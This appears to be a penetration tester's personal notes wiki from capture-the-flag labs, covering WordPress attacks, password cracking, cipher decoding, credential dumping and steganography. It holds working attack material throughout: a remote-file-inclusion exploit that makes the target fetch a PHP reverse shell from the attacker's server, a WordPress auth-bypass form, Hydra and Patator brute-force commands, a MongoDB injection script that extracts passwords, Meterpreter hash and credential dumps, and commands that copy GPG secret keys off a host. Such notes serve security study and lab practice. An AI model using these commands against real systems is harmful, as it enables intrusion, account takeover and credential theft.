* <https://10.129.113.87:10000/>


# Web Scrape

## Tools

* Pull URLS from a file
  * <https://github.com/jobertabma/relative-url-extractor> cat demo-file.js | ./extract.rb curl -s
  * <https://hackerone.com/hacktivity> | ./extract.rb
*

## Screenshots

* Check list of Hosts for Websites and take Screenshot:
  * aquatone
  * cat hosts.txt | aquatone -out \~/lab/aqua/
  * aquatone\_report.html
* CutyCapt - pull screenshots from a website

```
> cutycapt --url=https://pentest.mxhx.org/ --out=mxhx.png 
```

## View Tons of Webpages - Grab and Compile

* Quickly view tons of webpages
  * Nmap open webports on a network
  * Loop the IP's through cutycapt to png
  * Create html and link/view all png

```
> sudo nmap -A -p80 --open 10.x.x.x/24 -oG results
> cat results | grep 80 | grep -v "Nmap" | awk '{print $2}'
> for i in $(cat results | grep 80 | grep -v "Nmap" | awk '{print $2}'); do cutycapt --url=$i --out=$i.png;done

> cat htmlshot.sh
#!/bin/bash
echo "<HTML><BODY><BR>" > web.html
ls -1 *.png | awk -F : '{ print $1":\n<BR><IMG SRC=\""$1""$2"\" width=600><BR>"}' >> web.html
echo "</BODY></HTML>" >> web.html

> chmod +x ./htmlshot.sh
> ./htmlshot.sh
> firefox web.html
```


# Wordpress

## Investigate

```
https://$IP/webservices/wp
https://$IP/webservices/wp/wp-login.php

/wordpress/   ....suggests we have a very fertile ground for planting an attack. User access = shell.
/phpmyadmin/  ....suggests there is a database ready to plunder.
/info.php     .....gives us Kernel, hostname and OS information immediately.
```

## wpscan

```
Wordpress Vuln Scanner
> wpscan --url $IP
> wpscan --url https://$IP --disable-tls-checks

Enum plugins
> wpscan --url http://$IP/webservices/wp/ --enumerate p
> wpscan --url http://$IP/webservices/wp -e ap --log wpscan.out  ...ap=all plugs

Enum plugins/themes/users
> wpscan --url http://$IP/webservices/wp -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive --api-token GetYourOwnAPIKey 2>&1

Brute with known user: 'elliot'
> wpscan --url 192.168.50.102 -U elliot --passwords ./fsocity_uniq.dic






-----------------------
-----------------------
Monstra
https://$IP/webservices/monstra-3.0.4/
https://$IP/webservices/monstra-3.0.4/admin/

admin:admin  ..default works!

Try to edit themes! 
They are often php

Monstra > Extends > Themes
"Helloworld" > Save ..fails


System > Backup ..not created (not writeable)
Content > Files ..new directory (created)
Content > Files > File ..Fails


System > Settings > Maintenance Mode
<?php phpinfo(); ?>   ..Save Fails
Hello                 ..Save Fails


-----------------------
-----------------------
searchsploit monstra
github monstra > Issues > 
php code execution
Look for sqli or lfi


-----------------------
-----------------------

```

## Wordpress RCE Exploits

```
wordpress-rce-exploit.sh 
wordpress-rce-exploit.py  --python version

> sudo python ./wordpress-rce-exploit.py http://$IP/wp-login.php $MyIP:4444 admin
```

## wp curl trick

```
Tries to catch the 'enter new password link'
> curl -H "Host: $IP" --data "user_login=admin&redirect_to=&wp-submit=Get+New+Password" http://$IP/wp-login.php?action=lostpassword
```

## wp-support-plus-responsive-ticket-system

```
> wpscan --url https://$IP --disable-tls-checks

wp-support-plus-responsive-ticket-system
Version: 7.1.3 


> searchsploit -x 41006.txt

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Save as hello.html
Serve: python3 -m http.server
http://localhost/hello.html

Reload page - Now Admin!!
https://brainfuck.htb/?page_id=6
https://brainfuck.htp/wp-admin/admin-ajax.php 
```

## Brute Force Username - [Hydra](/05-passwords-ciphers/hydra)

```
> hydra -vV -L users.dic -p wedontcare 192.168.50.102 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
```

## Gwolle Guestbook RFI

* TartarsauceHTB
* Check your version:
  * <http://$IP/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt>
* Basically:
  * http\://$IP...ajaxresponse?abspath=**http\://$MyIP/**
  * Place an evil 'wp-load.php' (actually reverse PHP) on your local web server

```
-------------------------
searchsploit gwolle
searchsploit -x 38861  ..read
Remote File Inclusion (RFI) - Found for 1.5.3

-------------------------
RFI:
http://$IP/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$MyIP

-------------------------
Prep:
locate php-reverse
cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
vim wp-load.php
python -m SimpleHTTPServer 80

-------------------------
Exploit:
curl -s http://$IP/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$MyIP/
(keep the trailing / or else this wont work)
nc -lvnp 7500
connected!
```


# 05 Passwords & Ciphers

## Re-use!

* If you get a password
* Re-use it for root!!
* Might get you in! (beepHTB, nodeHTB)
* Ex:
  * Found Mark's mongodb password
  * ssh mark@$IP ..worked!!!


# Cipher Decrypt

## Identify:

* <https://www.boxentriq.com/code-breaking/cipher-identifier>

## CyberChef

* <https://gchq.github.io/CyberChef/>

## MD5 Decrypt

* <https://md5decrypt.net/en/>

```
cat data.txt | base64 -d  ..decode
```

## Encode-to-Copy

```
Encode:
cat /home/lara/.gnupg/secring.gpg | gzip | base64
H4sIAGpz0l8AAwEbBeT6lQHhBEfYL10RBACMAcvxnrh7A6s3S...

Decode:
echo 'H4sIAG...' | base64 -d | gzip -d > secring.gpg
```

## Encrypt with OpenSSL

* <https://thelinuxcode.com/encrypt-decrypt-files-openssl/>

```
> openssl enc -aes256 -k MyPaxxKey -in /tmp/backup.tgz  -out /tmp/backup.tgz.enc
```

## Decrypt OpenSSL

```
> openssl enc -d -aes-256-cbc -in secret.txt.enc -out -secret.txt
> openssl enc -d -aes-256-cbc -k MyPaxxKey -in /tmp/backup.tgz.enc -out /tmp/backup.gz
> gunzip /tmp/backup.gz 
> cat /tmp/backup
```

## Substitution Cipher

You have the Encryption AND Decryption .. but need the KEY\
<https://www.boxentriq.com/code-breaking/cryptogram>\
Example: Brainfuck:

```
IB EVMJGASVCJNM, C TRKTGIGRGIAB EIJNPV IT C OPGNAZ AQ PBEVMJGIBS KM YNIEN RBIGT AQ JWCIBGPHG CVP VPJWCEPZ YIGN EIJNPVGPHG, CEEAVZIBS GA C QIHPZ TMTGPO; GNP "RBIGT" OCM KP TIBSWP WPGGPVT (GNP OATG EAOOAB), JCIVT AQ WPGGPVT, GVIJWPGT AQ WPGGPVT, OIHGRVPT AQ GNP CKAXP, CBZ TA QAVGN. GNP VPEPIXPV ZPEIJNPVT GNP GPHG KM JPVQAVOIBS GNP IBXPVTP TRKTGIGRGIAB. GNP QWCS IT CTIOJWPTRKTGIGRGIAB
in cryptography a substitution cipher is a method of encrypting by which units of plaintext are replaced with ciphertext according to a fixed system the units may be single letters the most common pairs of letters triplets of letters mixtures of the above and so forth the receiver deciphers the text by performing the inverse substitution the flag is asimplesubstitution

Key = fuckmybrain
```

## Caesar Cipher (ROT13)

```
rotated 13 positions
lowercase and uppercase letters are 
> cat data.txt | tr a-zA-Z n-za-mN-ZA-M
```

## **Base64**

* [https://www.base64decode.org](https://www.base64decode.org/)
* [https://www.base64encode.org](https://www.base64encode.org/)

```
Example: ISwwYGAKYAo%3D
```

## Uudecode

* <https://www.textencode.com/decoder/uudecodeDecoder>
* <https://www.textencode.com/encoder/uuencodeEncoder>

```
Example: !,@``
Hint: A(&%N9"`Q/3(@=6YI;VX@86QL('-E;&5C="`Q+#(L,RTM
```

## Hex

* Convert Hex > Text
* [https://conv.darkbyte.ru](https://conv.darkbyte.ru/)
* <https://www.binaryhexconverter.com/hex-to-ascii-text-converter>

## GPG Keys

```
Found:
/home/kate/.gnupg/secring.gpg

Encode-to-Copy:
> cat /home/kate/.gnupg/secring.gpg | gzip | base64
XYZ123...

Decrypt Method:
> echo 'XYZ123...' | base64 -d | gzip -d > secring.gpg

Copy into YOUR directory (win/lin), So you can decrypt

Windows:
c:\users\name\AppData\Roaming\gnupg\pubring.gpg
c:\users\name\AppData\Roaming\gnupg\secring.gpg

Linux:
/home/name/.gnupg/pubring.gpg
/home/name/.gnupg/secring.gpg

Verify keys:
gpg --list-keys
gpg --list-secret-keys

Windows:
Run gpg exe from:
c:\Program Files (x86)\GNU\GnuPG

Decrypt:
gpg -d -o outputfile encryptedfilename
gpg -d -o pii.csv pii.csv.gpg

-d decrypt
-o output filename

You need a passphrase to unlock the secret key for
user: "Kate <kate@domain.tgt>"
kate:passwurd
Decrypted!!
```

## holiday hack 2020

unzip, bzip2, tar, xxd, xz, uncompress, cat, win !!!

```
cat packagev1 | base64 -d > packagev2
file packagev2  ...Zip archive data
unzip packagev2
file package.txt.Z.xz.xxd.tar.bz2  ..bzip2 compressed data,
bzip2 -d package.txt.Z.xz.xxd.tar.bz2 
file package.txt.Z.xz.xxd.tar  ..POSIX tar archive
tar -xvf package.txt.Z.xz.xxd.tar 
file package.txt.Z.xz.xxd      ..ASCII text
xxd ..is a hexdump tool
xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz
file package.txt.Z.xz  ..XZ compressed data
xz --decompress package.txt.Z.xz
file package.txt.Z     ..compressd data 16 bits
uncompress package.txt.Z
cat package.txt
North Pole: The Frostiest Place on Earth
Win!!
```

## RSA Wiener

* REF: [rsa-wiener-attack](/05-passwords-ciphers/04-cipher-decrypt-rsa-wiener)
* REF: BrainfuckHTB

```
decrypt given p, q and e
final: python
convert to hex, then ascii
> pt = 123
> str(hex(pt))
> str(hex(pt)[2:-1]).decode('hex')
flag!
```

## bash loop base64

```
for i in $ seq(0 9); do echo -n '| base64-d';done
cat pwdbackup.txt | base64 -d | etc...
```

## python loop base64

* Decode base64 for 10 times!!
* REF: poisonHTB, [PythonBrutes](/05-passwords-ciphers/hydra#python-brute-force-starter-script)

```
import base64
inp_string = "Vm0wd2QyUXlVWGxWV0d4WFlURndVRl="
times = 10
for i in range(times):
    inp_string = base64.b64decode(inp_string)
out_string = inp_string.decode('UTF-8')
print(out_string)
```


# Cipher RSA Wiener P-Q-E

* [htb-brainfuck](/05-passwords-ciphers/04-cipher-decrypt-rsa-wiener)
* <https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e>

## Definitions

* p - prime random 1
* q - prime random 2
* n
* e
* ct - cipher text
* pt - plain text

## Encryption:

```
> cat encrypt.sage 


nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

```

## Debug Outputs

```
> cat debug.txt 

7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997


> cat output.txt 

Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
```

## Decode Script

```python
def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()
```

## Execution

```
> python3 crack.py 
n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
```

## Human Readable

```
Python2:

>>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> str(hex(pt))
'0x3665666331613564626238393034373531636536353636613330356262386566L'
>>> str(hex(pt)[2:-1])
'3665666331613564626238393034373531636536353636613330356262386566'
>>> str(hex(pt)[2:-1]).decode('hex')
'6efc1a5dbb8904751ce6566a305bb8ef'


Python3:

>>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> pt = pt.to_bytes(((pt.bit_length() + 7) // 8), "big").decode()
>>> print(pt)
6efc1a5dbb8904751ce6566a305bb8ef  ..flag!!
```


# Cracking

## online

* [https://crackstation.net](https://crackstation.net/) --pretty good cracking online!
* <https://hashes.com> --find/crack multiple hashes

## john

```
Basics:
4 modes: Single, Wordlist, Incremental, Custom

john.conf  ..linux
john.ini   ..win
john.pot   ..cracks stored here
jack.pot   ..previously !!
john.rec   ..current record progress

john --test            ..speedtest
john --show /hashfile  ..prev cracks
john --restore         ..resume
<ctrl-C>  ..will record here
x2        ..too fast, youll lose prog

<anykey>  ..current status
c/s       ..combinations per/sec

Run Native OS for fastest speed (not vm)
Compiled John is faster too 'make'

Cant splitup jobs easily
Maybe: split the wordlist between servers
or: Min/Max Length 6,7,8,9 between

Distributed cracking Option: use diff session name for each instance
```

## john usage

```
john hash.txt
john --format=NT sam.txt
```

## john unshadow

```
cp /etc/passwd passCopy
sudo cat /etc/shadow > shadowCopy
unshadow passCopy ShadowCopy > Combined.txt

john combined.txt --format=crypt

$1$ - MD5
$6$ - SHA512

john --format=crypt combined.txt  ..for MD5
cat .john/john.pot                ..view cracks
```

* john can also crack "[SSH PrivKey Passphrase](/05-passwords-ciphers/05-crask-sshprivkey-passphrase)"

## hashcat

```
Rules and Scenarios:
https://hashcat.net/wiki/doku.php?id=rule_based_attack

hashcat -m       ..mode, tons of them!
hashcat -m 500   ..md5crypt $1$

hashcat --help
hashcat --help | less
hashcat --help | grep md5
hashcat --help | grep '\$6$\'   ..sha512
hashcat --help | grep LM        ..3000
hashcat --help | grep md5crypt  ..500  
hashcat --help | grep sha512    ..1800

hashcat.potfile  ..results saved

Word Rules:
cd /opt/hashcat/rules
cd /user/local/share/doc/hashcat/rules
cat best64.rule

Examples:
hashcat -a 0 -m 400 example400.hash examp.dict ..basic
hashcat -a 0 -m 0 examp0.hash examp.dict -r rules/best64.rule
hashcat -a 3 -m 0 examp0.hash ?a?a?a?a?a?a   ..6char any
hashcat -a 6 -m 0 examp0.hash ecamp.dict ?a?a?a
  ..dictionary + append 6char

-a 0  ..basic
-a 3  .. means brute force
-a 1  ..
-a 6  .. hybrid

<space> or 's'tatus .. to view details and TEMP
Adding more GPU will get faster Cracks

./hashcat64 -m 3000 --show sam.txt     ..view cracked results
./hashcat64 -m 3000 --restore sam.txt  ..resume scan
```

## hashcat usage

```
Workload: -w
1 = low
2 =
3 = high
4 = nightmare, lol

hashcat --benchmark -m 3000 -w 3


cat cracked.txt
cat .hashcat/hashcat.potfile

cat coursefiles/sam.txt
cut -d: -f 1 coursefiles/sam.txt > names.txt

hashcat -w 3 -a 0 -m 5600 hash.txt
hashcat -w 3 -a 0 -m 3000 -o cracked.txt sam.txt /opt/dict.lst
hashcat -w 3 -a 0 -m 3000 -o cracked.txt sam.txt /opt/dict.lst names.txt
                                                         |         |
                                                       sent both files: 
```

## hashcat rules

```
ls -l /usr/local/share/doc/hashcat/rules/

Best Rules: 
best64.rule
d3ad0ne.rule

cat /usr/local/share/doc/hashcat/rules/best64.rule

hashcat -w 3 -a 0 -m 3000 -o cracked2.txt sam.txt /opt/dict.lst names.txt
-r /usr/local/share/doc/hashcat/rules/best64.rule

cat cracked2.txt
cat .hashcat/hashcat.potfile  ..found reverse 'charlie' password

cut -d: -f 2 cracked.txt > clear.txt

Crazy what hashcat can do:
Tell it to use 'users', 'pwlist', 'rules', etc...
hashcat -w 3 -a 0 -m 1800 -o cracked.txt shadow_copy names.txt clear.txt
/opt/pass.lst -r /usr/local/share/doc/hashcat/rules/best64.rule
```

## hashcat mangling

```
hashcat -a 6 -m 0 example0.hash example.dict ?a?a?a
hashcat -a 6 -m 0 example0.hash ?a?a?a example.dict 

6: hybrid/brute
0: method
hash file
dictionary + 3 chars at the end


Results:
cat ~./hashcat/hashcat.potfile
or: yuck like this:
hashcat -m 5600 --potfile-path ~/.hashcat/hashcat.potfile --show --outfile-format 2 hash.txt

```

## lm2ntcrack.rb

```
Ruby crack from LM to NT:
If you have LM cracked, but not the NT:

> lm2ntcrack.rb -t NTLM -p MYLMPASS -a BAXOFLYKD
   
> /opt/metasploit-framework/tools/password/lm2ntcrack.rb
   -t NTLM        ..get the NTLM
   -p MYLMPASS    ..current LM
   -a BAXOFLYKD   ..the NT Hash (2nd half string)
```


# Dict Guess List Mangle

## Wordlists

* Ron Bowes: <https://wiki.skullsecurity.org/Passwords>
* wordlists
* crackstation.net
* Rockyou

## Cewl

* Crawl a website to create your own dictionary: **Cewl.rb**

## Lockout

* Check your lockout settings before you start making password guesses!

```
> net accounts /domain
```

## Invalid Username - Hint

* Try to login
* Notice if Username gives different error "Invalid Username"
* We can brute-force this based on error.
* Go directly to [Hydra](/05-passwords-ciphers/hydra)

## Guessing

```
Servername
Summer20
Autumn20
Orgname1-99
Welcome1-99
Password1-99
Pass11
P@$$w0rd
Company Name
Football local teams
Keyboard walks
Add number increments
```

## Crackingstation

* npk - <https://github.com/Coalfire-Research/npk>
* Crackingstation
* Cloud: Cpu intense EC2 offer 1 compute unit .10/hr linux
* GPU w/33 compute units = 2 nvidia gpu 2.00/hr

## Trimming

```
wc -l dict
sort dict | uniq | wc -l
cat dict | sort -u | uniq > wordlist2.txt

grep -i nibble /opt/.../rockyou.txt > mydict.txt

grep -i 'user\|pass\|host\|name' mess.txt
grep -i -E 'user|pass|host|name' mess.txt
```

## Cleanup

```
Feed Line-Returns instead of #
#hello#thisisbad#hardtoread

tr '#' '\n' < input.txt > output.txt
```

## pw-inspector (hydra)

```
pw-inspector  ..help

-m 6   ..Min 6 digits
-M 12  ..Max 12 digits
-n     ..numbers
-u     ..upper
-l     ..lower
-p     ..non-alphnum
-c 2   ..Combination of 2

cat dict | pw-inspector -n
cat dict | pw-inspector -n > /tmp/newdict
cat dict | pw-inspector -m 6 -M 12 -n -u -l -c 2
```

## Hashcat Mangling

```
hashcat -a 6 -m 0 example0.hash example.dict ?a?a?a
hashcat -a 6 -m 0 example0.hash ?a?a?a example.dict 

6: hybrid/brute
0: method
hash file
dictionary + 3 chars at the end/beginning
```


# Get Hashes

## Hash-identifier

```
> hashid 123XYZ...
> hash-identifier
```

## unshadow (john)

```
unshadow /etc/passwd /etc/shadow combined.txt
```

## Empire on Windows

```
(Empire: powershell/credentials/powerdump) > run
[*] Tasked DHX9MABL to run TASK_CMD_JOB
[*] Agent DHX9MABL tasked with task ID 1
[*] Tasked agent agentHIGH to run module powershell/credentials/powerdump
(Empire: powershell/credentials/powerdump) > [*] Agent DHX9MABL returned results.

Administrator:500:blahblahlongstring123xyzabclongstring123abcxyz123abcxyzaa:::
mike:1202:blahblahlongstring123xyzabclongstring123abcxyz123abcxyzaa:::
```

## Metasploit - hashdump

```
smart_hashdump  ..sometimes isnt so smart
hashdump        ..try both!!!!!

meterpreter > run post/windows/gather/smart_hashdump
meterpreter > run post/windows/gather/hashdump
```

## Meterpreter Kiwi

```
meterpreter > load kiwi
meterpreter > creds_all

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain   NTLM                              SHA1
--------       ------   ----                              ----
Administrator  TARGET   abxlkaselkbjlcije89893289823sers  lkjawleijviw989w8evw98va9898wer9w8e42893
KALI$          TARGET   kleilvkejlaijlsijej3902930923409  0902349824lkajslkjvliaejlwejoifjwf092039

wdigest credentials
===================

Username       Domain   Password
--------       ------   --------
(null)         (null)   (null)
Administrator  TARGET   secretPW
KALI$          TARGET   youFOUNDmypaxxwurd

kerberos credentials
====================

Username       Domain        Password
--------       ------        --------
(null)         (null)        (null)
Administrator  TARGET        (null)
KALI$          target.local  youFOUNDmypaxxwurd
kali   $       target.LOCAL  (null)
```


# Hydra Brutes

## Hydra Brute Force

* If login attempts give an **"Invalid Username"**
* We can Brute-Force based on this error
* You could use [Burp ](/02-scanning/burp)for the keywords first (if you need it)
* Wordlist (common passwords)
  * /usr/share/dirb/wordlists/common.txt
  * 10k\_most\_common.txt ..faster than rockyou, but decent!
  * .. SecLists/Passwords/Leaked-Databases/rockyou.txt
  * .. SecLists/Passwords/twitter-banned.txt ..small list of good pws

```
---------------------------
wordpress/blog
> hydra -vV -L users.dic -p wedontcare 192.x.x.x http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:=Invalid username"
> hydra -vV -l admin -P dict.txt -f -t 2 10.x.x.x http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username"
> hydra -vV -l admin -P rockyou.txt -f -t 2 10.x.x.x http-post-form "/department/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid Password!"
> hydra -vV -l admin -P rockyou.txt -f -t 2 10.x.x.x https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true&Login=Login:Incorrect"
> hydra -vV -l admin -P /usr/share/wordlists/rockyou.txt -f -t 64 10.x.x.x http-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect"
---------------------------

web-form-login
> hydra -t 1 -l admin -P common.txt -vV http-get://192.x.x.x/admin
> hydra -t 1 -l admin -P rockyou.txt -vV http-get://192.x.x.x/nibbleblog/admin.php

---------------------------
ssh
hydra -L users.txt -P pass.txt ssh://10.x.x.x

-t 64  ..if you want to speed up threads  !!!!
```

## Trim your wordlist

* REF: [DictsListsMangling](/05-passwords-ciphers/dicts-lists-mangling#trim-a-long-dictionary)
* Example: Pull everything with 'nibble' in the word and.. try ONLY these

```
grep -i nibble /opt/.../rockyou.txt > mydict.txt
```

REF: [Fuzzing](/02-scanning/fuzzing), [Wordpress](/04-webapps/03-webapp-wordpress)

## Patator

* Also: [SSHBrutePatator](/02-scanning/02-enum-finger-and-ssh#brute-ssh)

```
patator http_fuzz url="http://10.10.10.43/department/login.php"
method=POST body='username=admin&password=FILE0' 0=rockyou.txt 
follow=1 accept_cookie=1 
-x ignore:fgrep='Invalid Password!'
-x quit:fgrep='Hi admin'

patator http_fuzz url="https://10.10.10.43/db/index.php"
method=POST body='password=FILE0&login=Log+In&proc_login=true' 0=rockyou.txt 
follow=1 accept_cookie=1 
-x ignore:fgrep='Incorrect password.' 
-x quit:fgrep='test'
```

## **Python Brute Force Starter Script:**

```
sudo apt-get install python
sudo apt-get install python-pip
pip install requests

import requests as rq
req = rq.get("http://xyz.com/login.php?pass=1234")
print(req.text)
```

## Python Brute Loop:

* REF: [PythonBase64Loop](/05-passwords-ciphers/04-cipher-decrypt#python-loop-base64)

```
import requests as rq
for i in range(1300,99999):
    req = rq.get("http://xyz.com/login.php?pass="+str(i))
    if "Wrong pass" in req.text:
        print("Attempt #%d" % i)
    else:
        print("\n\nSuccess!\nPassword: %d" % i)
        break
```

## Ruby Brute Loop

* Ruby Script for passwords on [MongoDBInjection](/04-webapps/03-webapp#mongodb-injection)
* Test every letter to see if it matches the 'first' letter/set

```
--------------------
Goal:
5b317d17-3ee3-4865-8605-bb579f58c10a

--------------------
Loop every digit:
a
b
c
ca
cb
cc

--------------------
Need 'httparty' module
>> sudu gem install httparty
>> vi expl.rb

--------------------
require 'httparty'
URL="mymongo.com"
def check?(str)
  resp = HTTParty.get("http://#{URL}/?search=admin' %26%26 this.password.match(/^#{str}/)%00")
  return resp.body=~ />admin</
end
#puts check?("5").inspect
#puts check?("a").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""

while true
  CHARSET.each do |c|
	puts "Trying: #{c} for #{password}"
	test = password+c
	if check?("^#{test}.*$")
	  password+=c
	  puts password
	  break
	  end
  end
end

--------------------
Note:
^5       ..starts with 5
>admin<  ..used this b/c success page had this tag with >< marks
"5" and "aaa" as yes/no examples
```

## Brute CSRF Python

* Scrape the page and get the csrf token
* REF: SenseHTB ippsec, [pfsense](/04-webapps/pfsense)

```
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import re
re_csrf = 'csrfMagicToken = *(.*?)*'
s = requests.session()
lines = open('passwords.txt')
for password in lines:
    r = s.post('http://127.0.0.1/index.php')
    csrf = re.findall(re_csrf, r.text)[0]
    login = {'__csrf_magic': csrf, 'usernamefld': 'rohit', 'passwordfld': password[:-1], 'login': 'login'}
    r = s.post('http://127.0.0.1/index.php', data=login)
    if 'Dashboard' in r.text:
        print("Valid Login %s:%s" % ("rohit", password[:-1]))
    else:
        print("Failed")
        s.cookies.clear()
#print(r.text)
#print(csrf)

execute:
python3 bf-pf.py
```


# Images Exif Steg

## Links

* <https://gchq.github.io/CyberChef/>
* <https://medium.com/@FourOctets/ctf-tidbits-part-1-steganography-ea76cc526b40>

## Easy

* [LookAround](/06-linux-privesc/04-look-around) - Dont forget the Easy stuff!!
* strings -n 8 secret.png

## imagemagick

```
sudo apt install imagemagick
sudo apt install graphicsmagick-imagemagick-compat
identify -verbose allyourbase.jpg | grep "exif"
```

## stegextract

```
sudo curl https://raw.githubusercontent.com/evyatarmeged/stegextract/master/stegextract > /usr/local/bin/stegextract
sudo chmod +x /usr/local/bin/stegextract
stegextract allyourbase.gif --outfile allyourbase
unzip allyourbase
```

## binwalk

* search image for embedded files and exe code
* You might find [ssh ](/03-getting-in/03-ssh-tips)keys :)
* Find an .elf file .. make sure you chmod +x .. execute it to test!

```
> binwalk nineveh.png        ..find
> binwalk -Me nineveh.png    ..extract
> binwalk -e allyourbase.gif 

-M: Recursively scan extracted files.
-e: Automatically extract known file types.

Found!!
> ls _nineveh.png.extracted/secret/
```


# Malware Analysis

* <https://www.joesandbox.com>
* <https://any.run>
* <https://cuckoosandbox.org/>
* <https://www.cisco.com/c/en/us/products/security/threat-grid/index.html>
* <https://www.vmray.com/>


# Pull Hashes PCredz

## PCredz

Will dig through files and grab hashes

```
capture:
> tcpdump -nv -s0 port 445 -w /tmp/winauth.pcap port 445
-s0 means grab-everything. more effective in older systems.

connect:
> smbclient //10.10.10.10/c$ Server1 -U bob

scan:
> cd /opt/PCredz/
> Pcredz -v -f /tmp/winauth.pcap

trim:
> cat CredentialsDump-Session.log
> grep bob CredentialsDump-Session.log | cut -d ' ' -f 5 | tee hash.txt
> cat hash.txt

crack:
> john hash.txt                       ..done!!
> hashcat -w 3 -a 0 -m 5600 hash.txt  ..done!!
cat ~./hashcat/hashcat.potfile

or: yuck like this:
hashcat -m 5600 --potfile-path ~/.hashcat/hashcat.potfile --show --outfile-format 2 hash.txt
```


# SSH PrivKey Passphrase

## ssh2john

* Private Keys Sometimes have a Passphrase.
* But they are crackable (if not too complicated)
* /usr/share/john/ssh2john.py
* /usr/share/JohnJumbo/run/ssh2john.py

```
Hash:
> python ssh2john.py id_rsa > sshkey
> python /usr/share/JohnJumbo/run/ssh2john.py davidkey.pem > sshkey

Crack:
> john sshkey
> john --wordlist=/opt/wordlist/rockyou.txt sshkey

Tried Hashcat, but Didn't work for me:
sudo hashcat --force -m 500 -a 0 -O sshkey /opt/wordlist/rockyou.txt


----------------------------
alternate:

python sshng2john.py idrsa > sshkey
john sshkey
```

REF: [Cracking/John](/05-passwords-ciphers/cracking#john), [SSHTips](/03-getting-in/03-ssh-tips)


# Unzip Crack

* Bruteforce Unzip:

```
fcrackzip -D -p rockyou.txt secret.zip
```


# Windows PW

REF: [PrivEscWindows-PasswordPwdump](/07-win-privesc/win-privesc#password)

```
1: C:\windows\system32\config\**SAM** (Registry: HKLM/SAM)
2: System memory

The SAM file is mounted in the registry as: HKLM/SAM
Windows locks this file, and will not release the lock unless it's shut down.
However, if you look at the SAM entry in the aforementioned registry section, you will not find the hash.
Seems more than likely that the hash, or password, will also be stored in memory. 
In fact, there are quite a few password crackers that take your password directly from memory.

Also:
In memory, '**lsass**' holds on to a plaintext copy of the password for whoever is logged in

A 'badUSB' device can grab the hash (ex: Rubber ducky, Malduino, P4wnP1)


Domain Machine:
HKEY_LOCAL_MACHINE\Security\Cache

SAM file needs both:
C:\windows\system32\config\SAM
C:\windows\system32\config\system

Registry
HKEY_LOCAL_MACHINE\Security\Cache  .. for domain credentials
HKEY_LOCAL_MACHINE\SAM             .. for local credentials

In-memory (dump with mimikatz)
However this last one isn't "stored" as in written-to-disk
```


# 06 Linux PrivEsc


# 1 Look Around

## More

